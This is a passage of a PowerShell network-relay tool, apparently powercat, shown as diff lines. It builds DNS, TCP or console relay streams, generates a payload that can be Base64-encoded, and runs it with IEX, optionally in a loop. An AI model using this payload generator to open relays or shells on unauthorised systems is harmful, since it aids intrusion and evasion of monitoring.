elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")} + else{return "Bad relay format."} + } + elseif($r.split(":")[0].ToLower() -eq "tcp") + { + Write-Verbose "Set Stream 2: TCP" + $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n") + $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n") + $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n") + $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n") + if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")} + elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")} + else{return "Bad relay format."} + } + } + else + { + Write-Verbose "Set Stream 2: Console" + $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n") + $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n") + $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n") + $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n") + $InvokeString += ("@('" + $o + "')") + } + + if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")} + else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")} + $InvokeString = ($FunctionString + $InvokeString) + ########## GENERATE PAYLOAD ########## + + ########## RETURN GENERATED PAYLOADS ########## + if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))} + elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString} + ########## RETURN GENERATED PAYLOADS ########## + + ########## EXECUTION ########## + $Output = $null + try + { + if($rep) + { + while($True) + { + $Output += IEX $InvokeString + Start-Sleep -s 2 + Write-Verbose "Repetition Enabled: Restarting..." + } + } + else + { + $Output += IEX $InvokeString + } + } + finally + { + if($Output -ne $null) + { + if($of -eq ""){$Output} + else{[io.file]::WriteAllBytes($of,$Output)} + } + } + ########## EXECUTION ########## +}